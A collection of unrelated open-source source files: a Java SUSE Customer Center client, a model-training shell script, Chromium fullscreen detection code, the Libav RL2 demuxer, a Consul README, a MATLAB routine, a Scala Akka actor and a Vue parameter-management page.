private final String nextUrl;
private final int numPages;
/**
* Instantiates a new paginated result.
* @param resultIn the result in
* @param nextUrlIn the next url in
* @param numPagesIn number of pages
*/
PaginatedResult(T resultIn, String nextUrlIn, int numPagesIn) {
result = resultIn;
nextUrl = nextUrlIn;
this.numPages = numPagesIn;
}
}
/**
* Constructor for connecting to SUSE Customer Center.
* @param configIn the configuration object
*/
public SCCWebClient(SCCConfig configIn) {
config = configIn;
httpClient = new HttpClientAdapter();
}
/**
* {@inheritDoc}
*/
@Override
public List<SCCRepositoryJson> listRepositories() throws SCCClientException {
return getList("/connect/organizations/repositories",
SCCRepositoryJson.class);
}
/**
* {@inheritDoc}
*/
@Override
public List<SCCProductJson> listProducts() throws SCCClientException {
return getList(
"/connect/organizations/products/unscoped", SCCProductJson.class);
}
/**
* {@inheritDoc}
*/
@Override
public List<SCCSubscriptionJson> listSubscriptions() throws SCCClientException {
return getList("/connect/organizations/subscriptions",
SCCSubscriptionJson.class);
}
/**
* {@inheritDoc}
*/
@Override
public List<SCCOrderJson> listOrders() throws SCCClientException {
return getList("/connect/organizations/orders",
SCCOrderJson.class);
}
@Override
public List<ProductTreeEntry> productTree() throws SCCClientException {
return getList("/suma/product_tree.json",
ProductTreeEntry.class);
}
/**
* Perform a GET request and parse the result into list of given {@link Class}.
*
* @param <T> the generic type
* @param endpoint the GET request endpoint
* @param resultType the type of the result
* @return object of type given by resultType
* @throws SCCClientException if the request was not successful
*/
private <T> List<T> getList(String endpoint, Type resultType)
throws SCCClientException {
PaginatedResult<List<T>> firstPage = request(endpoint, SCCClientUtils.toListType(resultType), "GET");
log.info("Pages: " + firstPage.numPages);
List<CompletableFuture<PaginatedResult<List<T>>>> futures = Stream.iterate(2, i -> i + 1)
.limit(Math.max(0, firstPage.numPages - 1)).map(pageNum -> {
String e = endpoint + "?page=" + pageNum;
CompletableFuture<PaginatedResult<List<T>>> get = CompletableFuture.supplyAsync(() -> {
try {
log.info("Start Page: " + pageNum);
PaginatedResult<List<T>> page = request(e, SCCClientUtils.toListType(resultType), "GET");
log.info("End Page: " + pageNum);
return page;
}
catch (SCCClientException e1) {
throw new RuntimeException(e1);
}
}, executor);
return get;
}).collect(Collectors.toList());
CompletableFuture<Void> voidCompletableFuture = CompletableFuture.allOf(
futures.toArray(new CompletableFuture[futures.size()]));
voidCompletableFuture.join();
return Stream.concat(
Stream.of(firstPage),
futures.stream().map(f -> f.join())
)
.flatMap(p -> p.result.stream())
.collect(Collectors.toList());
}
/**
* Perform HTTP request and parse the result into a given result type.
*
* @param <T> the generic type
* @param endpoint the endpoint
* @param resultType the type of the result
* @param method the HTTP method to use
* @return object of type given by resultType
* @throws SCCClientException in case of a problem
*/
private <T> PaginatedResult<T> request(String endpoint, Type resultType, String method)
throws SCCClientException {
Reader streamReader = null;
HttpRequestBase request = SCCRequestFactory.getInstance().initRequest(
method, endpoint, config);
try {
// Connect and parse the response on success
HttpResponse response = httpClient.executeRequest(request,
config.getUsername(), config.getPassword());
int responseCode = response.getStatusLine().getStatusCode();
if (responseCode == HttpStatus.SC_OK) {
streamReader = SCCClientUtils.getLoggingReader(request.getURI(), response,
config.getUsername(), config.getLoggingDir());
// Parse result type from JSON
Gson gson = new GsonBuilder()
.setDateFormat("yyyy-MM-dd'T'HH:mm:ss.SSSX")
.registerTypeAdapterFactory(new OptionalTypeAdapterFactory())
.create();
T result = gson.fromJson(streamReader, resultType);
Optional<Integer> perPageOpt = Optional.ofNullable(response.getFirstHeader("Per-Page"))
.map(h -> Integer.parseInt(h.getValue()));
Optional<Integer> totalOpt = Optional.ofNullable(response.getFirstHeader("Total"))
.map(h -> Integer.parseInt(h.getValue()));
Optional<Integer> numPagesOpt = perPageOpt.flatMap(perPage -> totalOpt
.map(total -> (int)Math.ceil(total / perPage.floatValue())));
int numPages = numPagesOpt.orElse(1);
String nextUrl = null;
Header linkHeader = response.getFirstHeader("Link");
if (linkHeader != null) {
String linkHeaderValue = linkHeader.getValue();
Matcher m = Pattern
.compile(".*<" + config.getUrl() + "(.*?)>; rel=\"next\".*")
.matcher(linkHeaderValue);
if (m.matches()) {
nextUrl = m.group(1);
}
}
return new PaginatedResult<T>(result, nextUrl, numPages);
}
else {
// Request was not successful
throw new SCCClientException("Got response code " + responseCode +
" connecting to " + request.getURI());
}
}
catch (NoRouteToHostException e) {
String proxy = ConfigDefaults.get().getProxyHost();
throw new SCCClientException("No route to SCC" +
(proxy != null ? " or the Proxy: " + proxy : ""));
}
catch (IOException e) {
throw new SCCClientException(e);
}
finally {
request.releaseConnection();
SCCClientUtils.closeQuietly(streamReader);
}
}
}
| {
"pile_set_name": "Github"
} |
base=./mount
dir=$base/temp/ai2018/sentiment/tfrecord/
fold=0
if [ $# == 1 ];
then fold=$1
fi
if [ $FOLD ];
then fold=$FOLD
fi
model_dir=$base/temp/ai2018/sentiment/model/v1/$fold/bow.simplify/
num_epochs=20
mkdir -p $model_dir/epoch
cp $dir/vocab* $model_dir
cp $dir/vocab* $model_dir/epoch
exe=./train.py
if [ "$INFER" = "1" ];
then echo "INFER MODE"
exe=./infer.py
model_dir=$1
fold=0
fi
if [ "$INFER" = "2" ];
then echo "VALID MODE"
exe=./infer.py
model_dir=$1
fold=0
fi
python $exe \
--fold=$fold \
--vocab $dir/vocab.txt \
--model_dir=$model_dir \
--train_input=$dir/train/'*,' \
--test_input=$dir/test/'*,' \
--info_path=$dir/info.pkl \
--emb_dim 300 \
--batch_size 32 \
--encoder_type=bow \
--keep_prob=0.7 \
--num_layers=1 \
--rnn_hidden_size=100 \
--encoder_output_method=max \
--eval_interval_steps 1000 \
--metric_eval_interval_steps 1000 \
--save_interval_steps 1000 \
--save_interval_epochs=1 \
--valid_interval_epochs=1 \
--inference_interval_epochs=1 \
--freeze_graph=1 \
--optimizer=adam \
--learning_rate=0.001 \
--decay_target=f1 \
--decay_patience=1 \
--decay_factor=0.8 \
--num_epochs=$num_epochs \
| {
"pile_set_name": "Github"
} |
// Copyright (c) 2011 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "chrome/browser/fullscreen.h"
#include <gdk/gdk.h>
#include <gdk/gdkx.h>
#include <algorithm>
#include <vector>
#include "base/basictypes.h"
#include "chrome/browser/ui/gtk/gtk_util.h"
#include "ui/base/x/x11_util.h"
#include "ui/gfx/rect.h"
namespace {
// TODO (jianli): Merge with gtk_util::EnumerateTopLevelWindows.
void EnumerateAllChildWindows(ui::EnumerateWindowsDelegate* delegate,
XID window) {
std::vector<XID> windows;
if (!ui::GetXWindowStack(window, &windows)) {
// Window Manager doesn't support _NET_CLIENT_LIST_STACKING, so fall back
// to old school enumeration of all X windows.
XID root, parent, *children;
unsigned int num_children;
int status = XQueryTree(ui::GetXDisplay(), window, &root, &parent,
&children, &num_children);
if (status) {
for (long i = static_cast<long>(num_children) - 1; i >= 0; i--)
windows.push_back(children[i]);
XFree(children);
}
}
std::vector<XID>::iterator iter;
for (iter = windows.begin(); iter != windows.end(); iter++) {
if (delegate->ShouldStopIterating(*iter))
return;
}
}
// To find the top-most window:
// 1) Enumerate all top-level windows from the top to the bottom.
// 2) For each window:
// 2.1) If it is hidden, continue the iteration.
// 2.2) If it is managed by the Window Manager (has a WM_STATE property).
// Return this window as the top-most window.
// 2.3) Enumerate all its child windows. If there is a child window that is
// managed by the Window Manager (has a WM_STATE property). Return this
// child window as the top-most window.
// 2.4) Otherwise, continue the iteration.
class WindowManagerWindowFinder : public ui::EnumerateWindowsDelegate {
public:
WindowManagerWindowFinder() : window_(None) { }
XID window() const { return window_; }
protected:
virtual bool ShouldStopIterating(XID window) {
if (ui::PropertyExists(window, "WM_STATE")) {
window_ = window;
return true;
}
return false;
}
private:
XID window_;
DISALLOW_COPY_AND_ASSIGN(WindowManagerWindowFinder);
};
class TopMostWindowFinder : public ui::EnumerateWindowsDelegate {
public:
TopMostWindowFinder()
: top_most_window_(None) {}
XID top_most_window() const { return top_most_window_; }
protected:
virtual bool ShouldStopIterating(XID window) {
if (!ui::IsWindowVisible(window))
return false;
if (ui::PropertyExists(window, "WM_STATE")) {
top_most_window_ = window;
return true;
}
WindowManagerWindowFinder child_finder;
EnumerateAllChildWindows(&child_finder, window);
XID child_window = child_finder.window();
if (child_window == None)
return false;
top_most_window_ = child_window;
return true;
}
private:
XID top_most_window_;
DISALLOW_COPY_AND_ASSIGN(TopMostWindowFinder);
};
bool IsTopMostWindowFullScreen() {
// Find the topmost window.
TopMostWindowFinder finder;
EnumerateAllChildWindows(&finder, ui::GetX11RootWindow());
XID window = finder.top_most_window();
if (window == None)
return false;
// Make sure it is not the desktop window.
static Atom desktop_atom = gdk_x11_get_xatom_by_name_for_display(
gdk_display_get_default(), "_NET_WM_WINDOW_TYPE_DESKTOP");
std::vector<Atom> atom_properties;
if (ui::GetAtomArrayProperty(window,
"_NET_WM_WINDOW_TYPE",
&atom_properties) &&
std::find(atom_properties.begin(), atom_properties.end(), desktop_atom)
!= atom_properties.end())
return false;
// If it is a GDK window, check it using gdk function.
GdkWindow* gwindow = gdk_window_lookup(window);
if (gwindow && window != GDK_ROOT_WINDOW())
return gdk_window_get_state(gwindow) == GDK_WINDOW_STATE_FULLSCREEN;
// Otherwise, do the check via xlib function.
return ui::IsX11WindowFullScreen(window);
}
}
bool IsFullScreenMode() {
gdk_error_trap_push();
bool result = IsTopMostWindowFullScreen();
bool got_error = gdk_error_trap_pop();
return result && !got_error;
}
| {
"pile_set_name": "Github"
} |
<!DOCTYPE HTML>
<style>
button { line-height: 0.5 }
</style>
<button>button input</button>
| {
"pile_set_name": "Github"
} |
/*
* RL2 Format Demuxer
* Copyright (c) 2008 Sascha Sommer ([email protected])
*
* This file is part of Libav.
*
* Libav is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* Libav is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with Libav; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
/**
* RL2 file demuxer
* @file
* @author Sascha Sommer ([email protected])
* @see http://wiki.multimedia.cx/index.php?title=RL2
*
* extradata:
* 2 byte le initial drawing offset within 320x200 viewport
* 4 byte le number of used colors
* 256 * 3 bytes rgb palette
* optional background_frame
*/
#include <stdint.h>
#include "libavutil/intreadwrite.h"
#include "libavutil/mathematics.h"
#include "avformat.h"
#include "internal.h"
#define EXTRADATA1_SIZE (6 + 256 * 3) ///< video base, clr, palette
#define FORM_TAG MKBETAG('F', 'O', 'R', 'M')
#define RLV2_TAG MKBETAG('R', 'L', 'V', '2')
#define RLV3_TAG MKBETAG('R', 'L', 'V', '3')
typedef struct Rl2DemuxContext {
unsigned int index_pos[2]; ///< indexes in the sample tables
} Rl2DemuxContext;
/**
* check if the file is in rl2 format
* @param p probe buffer
* @return 0 when the probe buffer does not contain rl2 data, > 0 otherwise
*/
static int rl2_probe(AVProbeData *p)
{
if(AV_RB32(&p->buf[0]) != FORM_TAG)
return 0;
if(AV_RB32(&p->buf[8]) != RLV2_TAG &&
AV_RB32(&p->buf[8]) != RLV3_TAG)
return 0;
return AVPROBE_SCORE_MAX;
}
/**
* read rl2 header data and setup the avstreams
* @param s demuxer context
* @return 0 on success, AVERROR otherwise
*/
static av_cold int rl2_read_header(AVFormatContext *s)
{
AVIOContext *pb = s->pb;
AVStream *st;
unsigned int frame_count;
unsigned int audio_frame_counter = 0;
unsigned int video_frame_counter = 0;
unsigned int back_size;
unsigned short sound_rate;
unsigned short rate;
unsigned short channels;
unsigned short def_sound_size;
unsigned int signature;
unsigned int pts_den = 11025; /* video only case */
unsigned int pts_num = 1103;
unsigned int* chunk_offset = NULL;
int* chunk_size = NULL;
int* audio_size = NULL;
int i;
int ret = 0;
avio_skip(pb,4); /* skip FORM tag */
back_size = avio_rl32(pb); /**< get size of the background frame */
signature = avio_rb32(pb);
avio_skip(pb, 4); /* data size */
frame_count = avio_rl32(pb);
/* disallow back_sizes and frame_counts that may lead to overflows later */
if(back_size > INT_MAX/2 || frame_count > INT_MAX / sizeof(uint32_t))
return AVERROR_INVALIDDATA;
avio_skip(pb, 2); /* encoding method */
sound_rate = avio_rl16(pb);
rate = avio_rl16(pb);
channels = avio_rl16(pb);
def_sound_size = avio_rl16(pb);
if (!channels || channels > 42) {
av_log(s, AV_LOG_ERROR, "Invalid number of channels: %d\n", channels);
return AVERROR_INVALIDDATA;
}
/** setup video stream */
st = avformat_new_stream(s, NULL);
if(!st)
return AVERROR(ENOMEM);
st->codecpar->codec_type = AVMEDIA_TYPE_VIDEO;
st->codecpar->codec_id = AV_CODEC_ID_RL2;
st->codecpar->codec_tag = 0; /* no fourcc */
st->codecpar->width = 320;
st->codecpar->height = 200;
/** allocate and fill extradata */
st->codecpar->extradata_size = EXTRADATA1_SIZE;
if(signature == RLV3_TAG && back_size > 0)
st->codecpar->extradata_size += back_size;
st->codecpar->extradata = av_mallocz(st->codecpar->extradata_size +
AV_INPUT_BUFFER_PADDING_SIZE);
if(!st->codecpar->extradata)
return AVERROR(ENOMEM);
if(avio_read(pb,st->codecpar->extradata,st->codecpar->extradata_size) !=
st->codecpar->extradata_size)
return AVERROR(EIO);
/** setup audio stream if present */
if(sound_rate){
pts_num = def_sound_size;
pts_den = rate;
st = avformat_new_stream(s, NULL);
if (!st)
return AVERROR(ENOMEM);
st->codecpar->codec_type = AVMEDIA_TYPE_AUDIO;
st->codecpar->codec_id = AV_CODEC_ID_PCM_U8;
st->codecpar->codec_tag = 1;
st->codecpar->channels = channels;
st->codecpar->bits_per_coded_sample = 8;
st->codecpar->sample_rate = rate;
st->codecpar->bit_rate = st->codecpar->channels * st->codecpar->sample_rate *
st->codecpar->bits_per_coded_sample;
st->codecpar->block_align = st->codecpar->channels *
st->codecpar->bits_per_coded_sample / 8;
avpriv_set_pts_info(st,32,1,rate);
}
avpriv_set_pts_info(s->streams[0], 32, pts_num, pts_den);
chunk_size = av_malloc(frame_count * sizeof(uint32_t));
audio_size = av_malloc(frame_count * sizeof(uint32_t));
chunk_offset = av_malloc(frame_count * sizeof(uint32_t));
if(!chunk_size || !audio_size || !chunk_offset){
av_free(chunk_size);
av_free(audio_size);
av_free(chunk_offset);
return AVERROR(ENOMEM);
}
/** read offset and size tables */
for(i=0; i < frame_count;i++)
chunk_size[i] = avio_rl32(pb);
for(i=0; i < frame_count;i++)
chunk_offset[i] = avio_rl32(pb);
for(i=0; i < frame_count;i++)
audio_size[i] = avio_rl32(pb) & 0xFFFF;
/** build the sample index */
for(i=0;i<frame_count;i++){
if(chunk_size[i] < 0 || audio_size[i] > chunk_size[i]){
ret = AVERROR_INVALIDDATA;
break;
}
if(sound_rate && audio_size[i]){
av_add_index_entry(s->streams[1], chunk_offset[i],
audio_frame_counter,audio_size[i], 0, AVINDEX_KEYFRAME);
audio_frame_counter += audio_size[i] / channels;
}
av_add_index_entry(s->streams[0], chunk_offset[i] + audio_size[i],
video_frame_counter,chunk_size[i]-audio_size[i],0,AVINDEX_KEYFRAME);
++video_frame_counter;
}
av_free(chunk_size);
av_free(audio_size);
av_free(chunk_offset);
return ret;
}
/**
* read a single audio or video packet
* @param s demuxer context
* @param pkt the packet to be filled
* @return 0 on success, AVERROR otherwise
*/
static int rl2_read_packet(AVFormatContext *s,
AVPacket *pkt)
{
Rl2DemuxContext *rl2 = s->priv_data;
AVIOContext *pb = s->pb;
AVIndexEntry *sample = NULL;
int i;
int ret = 0;
int stream_id = -1;
int64_t pos = INT64_MAX;
/** check if there is a valid video or audio entry that can be used */
for(i=0; i<s->nb_streams; i++){
if(rl2->index_pos[i] < s->streams[i]->nb_index_entries
&& s->streams[i]->index_entries[ rl2->index_pos[i] ].pos < pos){
sample = &s->streams[i]->index_entries[ rl2->index_pos[i] ];
pos= sample->pos;
stream_id= i;
}
}
if(stream_id == -1)
return AVERROR(EIO);
++rl2->index_pos[stream_id];
/** position the stream (will probably be there anyway) */
avio_seek(pb, sample->pos, SEEK_SET);
/** fill the packet */
ret = av_get_packet(pb, pkt, sample->size);
if(ret != sample->size){
av_packet_unref(pkt);
return AVERROR(EIO);
}
pkt->stream_index = stream_id;
pkt->pts = sample->timestamp;
return ret;
}
/**
* seek to a new timestamp
* @param s demuxer context
* @param stream_index index of the stream that should be seeked
* @param timestamp wanted timestamp
* @param flags direction and seeking mode
* @return 0 on success, -1 otherwise
*/
static int rl2_read_seek(AVFormatContext *s, int stream_index, int64_t timestamp, int flags)
{
AVStream *st = s->streams[stream_index];
Rl2DemuxContext *rl2 = s->priv_data;
int i;
int index = av_index_search_timestamp(st, timestamp, flags);
if(index < 0)
return -1;
rl2->index_pos[stream_index] = index;
timestamp = st->index_entries[index].timestamp;
for(i=0; i < s->nb_streams; i++){
AVStream *st2 = s->streams[i];
index = av_index_search_timestamp(st2,
av_rescale_q(timestamp, st->time_base, st2->time_base),
flags | AVSEEK_FLAG_BACKWARD);
if(index < 0)
index = 0;
rl2->index_pos[i] = index;
}
return 0;
}
AVInputFormat ff_rl2_demuxer = {
.name = "rl2",
.long_name = NULL_IF_CONFIG_SMALL("RL2"),
.priv_data_size = sizeof(Rl2DemuxContext),
.read_probe = rl2_probe,
.read_header = rl2_read_header,
.read_packet = rl2_read_packet,
.read_seek = rl2_read_seek,
};
| {
"pile_set_name": "Github"
} |
Consul API client
=================
This package provides the `api` package which attempts to
provide programmatic access to the full Consul API.
Currently, all of the Consul APIs included in version 0.3 are supported.
Documentation
=============
The full documentation is available on [Godoc](http://godoc.org/github.com/hashicorp/consul/api)
Usage
=====
Below is an example of using the Consul client:
```go
// Get a new client, with KV endpoints
client, _ := api.NewClient(api.DefaultConfig())
kv := client.KV()
// PUT a new KV pair
p := &api.KVPair{Key: "foo", Value: []byte("test")}
_, err := kv.Put(p, nil)
if err != nil {
panic(err)
}
// Lookup the pair
pair, _, err := kv.Get("foo", nil)
if err != nil {
panic(err)
}
fmt.Printf("KV: %v", pair)
```
| {
"pile_set_name": "Github"
} |
/* module tracker decoding support using libxmp */
#if !defined(_SND_XMP_H_)
#define _SND_XMP_H_
#if defined(USE_CODEC_XMP)
extern snd_codec_t xmp_codec;
#endif /* USE_CODEC_XMP */
#endif /* ! _SND_XMP_H_ */
| {
"pile_set_name": "Github"
} |
function dX = apply_recursive_differentiation(model,x,requested);
dX = [];
% Compute all evaluation-based derivatives df(x)
for i = 1:length(model.evaluation_scheme)
if isequal(model.evaluation_scheme{i}.group,'eval')
for j = model.evaluation_scheme{i}.variables
k = model.evalMap{j}.variableIndex;
if any(requested(model.evalMap{j}.computes))
z{i,j} = model.evalMap{j}.properties.derivative(x(k));
end
end
end
end
% Apply chain-rule. This code is horrible
for variable = 1:length(model.linearindicies)
dx = zeros(length(model.c),1);
dx(model.linearindicies(variable)) = 1;
for i = 1:length(model.evaluation_scheme)
switch model.evaluation_scheme{i}.group
case 'eval'
for j = model.evaluation_scheme{i}.variables
k = model.evalMap{j}.variableIndex;
r = find(dx(k));
if ~isempty(r)%any(dx(k))
if any(requested(model.evalMap{j}.computes))
if length(model.evalMap{j}.computes) == 1
%dx(model.evalMap{j}.computes) = dx(k)'*model.evalMap{j}.properties.derivative(x(k));
dx(model.evalMap{j}.computes) = dx(k)'*z{i,j};
else
%dx(model.evalMap{j}.computes) = dx(k).*model.evalMap{j}.properties.derivative(x(k));
dx(model.evalMap{j}.computes) = dx(k).*z{i,j};
end
end
end
end
case 'monom'
computed = model.monomials(model.evaluation_scheme{i}.variables);
for j = computed
if requested(j)
dp = 0;
monomsj = model.monomtable(j,:);
for k = find(dx' & monomsj)
monoms = monomsj;
monoms(k) = 0;
r = model.monomtable(j,k);
s = find(monoms);
dp = dp + r*x(k)^(r-1)*dx(k)*prod((x(s)').^monoms(s));
end
dx(j) = real(dp);
end
end
otherwise
end
end
dX = [dX dx];
end | {
"pile_set_name": "Github"
} |
/*
* Copyright (C) 2015 Stratio (http://stratio.com)
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.stratio.crossdata.streaming.actors
import akka.actor.Actor
import com.stratio.crossdata.streaming.actors.EphemeralQueryActor._
import com.stratio.crossdata.streaming.constants.ApplicationConstants._
import org.apache.spark.sql.crossdata.daos.DAOConstants._
import org.apache.spark.sql.crossdata.daos.EphemeralQueriesMapDAO
import org.apache.spark.sql.crossdata.models.EphemeralQueryModel
import scala.util.Try
class EphemeralQueryActor(zookeeperConfiguration: Map[String, String]) extends Actor
with EphemeralQueriesMapDAO {
lazy val memoryMap = Map(ZookeeperPrefixName -> zookeeperConfiguration)
var streamingQueries: List[EphemeralQueryModel] = dao.getAll()
def prefix:String = Try(memoryMap.get(ZookeeperPrefixName).get(PrefixStreamingCatalogsConfigForActors)+"_") getOrElse ("")
import context.become
def receive: Receive = receive(listenerAdded = false)
def receive(listenerAdded: Boolean): Receive = {
case GetQueries if listenerAdded =>
doGetQueries()
case AddListener if !listenerAdded =>
doAddListener()
become(receive(listenerAdded = true))
}
private def doGetQueries(): Unit = {
sender ! EphemeralQueriesResponse(streamingQueries.toSeq)
}
private def doAddListener(): Unit = {
repository.addEntityListener(dao.entity, _ => streamingQueries = dao.getAll())
sender ! ListenerResponse(true)
}
}
object EphemeralQueryActor {
case object GetQueries
case object AddListener
case class ListenerResponse(added : Boolean)
case class EphemeralQueriesResponse(streamingQueries: Seq[EphemeralQueryModel])
}
| {
"pile_set_name": "Github"
} |
<template>
<div class="app-container">
<!-- 查询和其他操作 -->
<div class="filter-container" style="margin: 10px 0 10px 0;" v-permission="'/link/getList'">
<el-input
clearable
@keyup.enter.native="handleFind"
class="filter-item"
style="width: 200px;"
v-model="queryParams.paramsName"
placeholder="请输入参数名"
></el-input>
<el-input
clearable
@keyup.enter.native="handleFind"
class="filter-item"
style="width: 200px;"
v-model="queryParams.paramsKey"
placeholder="请输入参数键名"
></el-input>
<!-- <el-select v-model="queryParams.paramsType" clearable placeholder="系统内置" style="width:140px">-->
<!-- <el-option-->
<!-- v-for="item in paramsTypeDictList"-->
<!-- :key="item.uid"-->
<!-- :label="item.dictLabel"-->
<!-- :value="item.dictValue"-->
<!-- ></el-option>-->
<!-- </el-select>-->
<el-button class="filter-item" type="primary" icon="el-icon-search" @click="handleFind" v-permission="'/link/getList'">查找</el-button>
<el-button class="filter-item" type="primary" @click="handleAdd" icon="el-icon-edit" v-permission="'/link/add'">添加参数</el-button>
</div>
<el-table :data="tableData" style="width: 100%">
<el-table-column type="selection"></el-table-column>
<el-table-column label="序号" width="60" align="center">
<template slot-scope="scope">
<span>{{scope.$index + 1}}</span>
</template>
</el-table-column>
<el-table-column label="参数名称" width="150" align="center">
<template slot-scope="scope">
<span>{{ scope.row.paramsName }}</span>
</template>
</el-table-column>
<el-table-column label="参数键名" width="240" align="center">
<template slot-scope="scope">
<el-tag type="primary">{{ scope.row.paramsKey }}</el-tag>
</template>
</el-table-column>
<el-table-column label="参数键值" width="200" align="center">
<template slot-scope="scope">
<span>{{ scope.row.paramsValue }}</span>
</template>
</el-table-column>
<el-table-column label="系统内置" width="80" align="center">
<template slot-scope="scope">
<template>
<el-tag v-for="item in paramsTypeDictList" :key="item.uid" :type="item.listClass" v-if="scope.row.paramsType == item.dictValue">{{item.dictLabel}}</el-tag>
</template>
</template>
</el-table-column>
<el-table-column label="备注" width="200" align="center">
<template slot-scope="scope">
<span>{{ scope.row.remark }}</span>
</template>
</el-table-column>
<el-table-column label="排序" width="100" align="center">
<template slot-scope="scope">
<el-tag type="warning">{{ scope.row.sort }}</el-tag>
</template>
</el-table-column>
<el-table-column label="状态" width="100" align="center">
<template slot-scope="scope">
<template v-if="scope.row.status == 1">
<span>正常</span>
</template>
<template v-if="scope.row.status == 2">
<span>推荐</span>
</template>
<template v-if="scope.row.status == 0">
<span>已删除</span>
</template>
</template>
</el-table-column>
<el-table-column label="操作" fixed="right" min-width="240">
<template slot-scope="scope">
<el-button @click="handleEdit(scope.row)" type="primary" size="small" v-permission="'/link/edit'">编辑</el-button>
<el-button @click="handleDelete(scope.row)" type="danger" size="small" v-permission="'/link/delete'">删除</el-button>
</template>
</el-table-column>
</el-table>
<!--分页-->
<div class="block">
<el-pagination
@current-change="handleCurrentChange"
:current-page.sync="currentPage"
:page-size="pageSize"
layout="total, prev, pager, next, jumper"
:total="total"
></el-pagination>
</div>
<!-- 添加或修改对话框 -->
<el-dialog :title="title" :visible.sync="dialogFormVisible">
<el-form :model="form" :rules="rules" ref="form">
<el-form-item label="参数名称" :label-width="formLabelWidth" prop="paramsName">
<el-input v-model="form.paramsName" auto-complete="off"></el-input>
</el-form-item>
<el-form-item label="参数键名" :label-width="formLabelWidth" prop="paramsKey">
<el-input v-model="form.paramsKey" auto-complete="off"></el-input>
</el-form-item>
<el-form-item label="参数键值" :label-width="formLabelWidth" prop="paramsValue">
<el-input v-model="form.paramsValue" auto-complete="off"></el-input>
</el-form-item>
<el-form-item label="系统内置" :label-width="formLabelWidth" prop="paramsType">
<el-radio v-for="item in paramsTypeDictList" :key="item.uid" v-model="form.paramsType" :label="parseInt(item.dictValue)" border size="medium">{{item.dictLabel}}</el-radio>
</el-form-item>
<el-form-item label="备注" :label-width="formLabelWidth" prop="remark">
<el-input v-model="form.remark" auto-complete="off"></el-input>
</el-form-item>
<el-form-item label="排序" :label-width="formLabelWidth" prop="sort">
<el-input v-model="form.sort" auto-complete="off"></el-input>
</el-form-item>
</el-form>
<div slot="footer" class="dialog-footer">
<el-button @click="dialogFormVisible = false">取 消</el-button>
<el-button type="primary" @click="submitForm">确 定</el-button>
</div>
</el-dialog>
</div>
</template>
<script>
import {
getSysParamsList,
addSysParams,
editSysParams,
deleteBatchSysParams
} from "@/api/sysParams";
import {getListByDictTypeList} from "@/api/sysDictData"
export default {
data() {
return {
queryParams: {}, //查询参数
tableData: [],
keyword: "",
linkStatusKeyword: null, //友链状态查询
currentPage: 1,
pageSize: 10,
total: 0, //总数量
title: "增加友链",
dialogFormVisible: false, //控制弹出框
paramsTypeDictList: [], // 友链状态字典
paramsTypeDefault: null, // 友链状态默认值
formLabelWidth: "120px",
isEditForm: false,
form: {
uid: null,
content: "",
clickCount: 0
},
rules: {
paramsName: [
{required: true, message: '参数名称不能为空', trigger: 'blur'},
{min: 1, max: 100, message: '长度在1到100个字符'},
],
paramsKey: [
{required: true, message: '参数键名不能为空', trigger: 'blur'},
{min: 1, max: 100, message: '长度在1到100个字符'},
],
paramsValue: [
{required: true, message: '友链状态不能为空', trigger: 'blur'},
{min: 1, max: 100, message: '长度在1到100个字符'}
],
paramsType: [
{required: true, message: '系统内置字段不能为空', trigger: 'blur'},
{pattern: /^[0-9]\d*$/, message: '系统内置字段只能为自然数'},
],
sort: [
{required: true, message: '排序字段不能为空', trigger: 'blur'},
{pattern: /^[0-9]\d*$/, message: '排序字段只能为自然数'},
]
}
};
},
created() {
// 字典查询
this.getDictList()
this.sysParamsList();
},
methods: {
sysParamsList: function() {
var params = {};
params.paramsName = this.queryParams.paramsName;
params.paramsKey = this.queryParams.paramsKey;
params.currentPage = this.currentPage;
params.pageSize = this.pageSize;
getSysParamsList(params).then(response => {
this.tableData = response.data.records;
this.currentPage = response.data.current;
this.pageSize = response.data.size;
this.total = response.data.total;
});
},
getFormObject: function() {
var formObject = {
paramsName: null,
paramsKey: null,
paramsValue: null,
remark: "",
paramsType: this.paramsTypeDefault,
sort: 0
};
return formObject;
},
/**
* 字典查询
*/
getDictList: function () {
var dictTypeList = ['sys_params_type']
getListByDictTypeList(dictTypeList).then(response => {
if (response.code == this.$ECode.SUCCESS) {
var dictMap = response.data;
this.paramsTypeDictList = dictMap.sys_params_type.list
if(dictMap.sys_params_type.defaultValue) {
this.paramsTypeDefault = parseInt(dictMap.sys_params_type.defaultValue);
}
}
});
},
handleFind: function() {
this.sysParamsList();
},
handleAdd: function() {
this.title = "增加参数"
this.dialogFormVisible = true;
this.form = this.getFormObject();
this.isEditForm = false;
},
handleEdit: function(row) {
title: "编辑参数";
this.dialogFormVisible = true;
this.isEditForm = true;
this.form = row;
},
handleDelete: function(row) {
var that = this;
this.$confirm("此操作将把参数配置删除, 是否继续?", "提示", {
confirmButtonText: "确定",
cancelButtonText: "取消",
type: "warning"
})
.then(() => {
let list = [row]
deleteBatchSysParams(list).then(response => {
this.$message({
type: "success",
message: response.data
});
that.sysParamsList();
});
})
.catch(() => {
this.$message({
type: "info",
message: "已取消删除"
});
});
},
handleCurrentChange: function(val) {
this.currentPage = val;
this.sysParamsList();
},
submitForm: function() {
this.$refs.form.validate((valid) => {
if(!valid) {
console.log("校验失败")
} else {
if (this.isEditForm) {
editSysParams(this.form).then(response => {
if (response.code == this.$ECode.SUCCESS) {
this.$message({
type: "success",
message: response.data
});
this.dialogFormVisible = false;
this.sysParamsList();
} else {
this.$message({
type: "success",
message: response.data
});
}
});
} else {
addSysParams(this.form).then(response => {
if (response.code == this.$ECode.SUCCESS) {
this.$message({
type: "success",
message: response.data
});
this.dialogFormVisible = false;
this.sysParamsList();
} else {
this.$message({
type: "error",
message: response.data
});
}
});
}
}
})
}
}
};
</script>
| {
"pile_set_name": "Github"
} |
